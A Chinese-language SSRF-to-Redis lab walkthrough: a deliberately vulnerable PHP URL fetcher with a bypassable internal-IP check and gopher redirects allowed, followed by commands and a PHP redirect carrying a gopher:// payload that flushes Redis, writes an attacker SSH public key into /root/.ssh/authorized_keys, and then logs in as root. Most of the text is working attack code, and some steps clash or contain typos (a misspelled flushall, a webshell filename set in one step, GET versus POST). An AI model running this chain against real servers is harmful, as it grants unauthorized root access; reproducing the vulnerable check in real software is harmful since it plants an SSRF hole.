目录
1、环境
ubuntu:test.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="test.php" method="post">
input url: <input type="text" name="url"><br>
<input type="submit" value="submit">
</form>
</body>
</html>
test.php:
<?php
function check_ip($url)
{
$match_res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if(!$match_res)
{
echo 'url fomat erro';
exit();
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
echo 'url fomat error';
exit();
}
$ip=gethostbyname($url_parse['host']);
echo $ip;
$ini_ip=ip2long($ip);
if ($ini_ip>>24==ip2long('127.0.0.0')>>24||$ini_ip==ip2long('服务机公网ip'))
{
echo "ip can not inner ip";
exit();
}
}
$ch=curl_init();
$url=$_GET['url'];
check_ip($url);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
$res=curl_exec($ch);
curl_close($ch);
echo $res;
?>
2、生成公钥(kali)
cd /root/.ssh
ssh-keygen -t rsa
3、伪造redis数据
redis-cli -p 1234 fushall
echo -e "\n\n
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali\n\n" | redis-cli -p 1234 -x set a
redis-cli -p 1234 config set dir /var/www/html/
redis-cli -p 1234 config set dbfilename shell.php
4、攻击
<?php
header("Location: gopher://127.0.0.1:6379/_*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A");
?>
5、登录
在/root/.ssh目录
ssh -i id_rsa root@xxx.xxx.xxx.xxx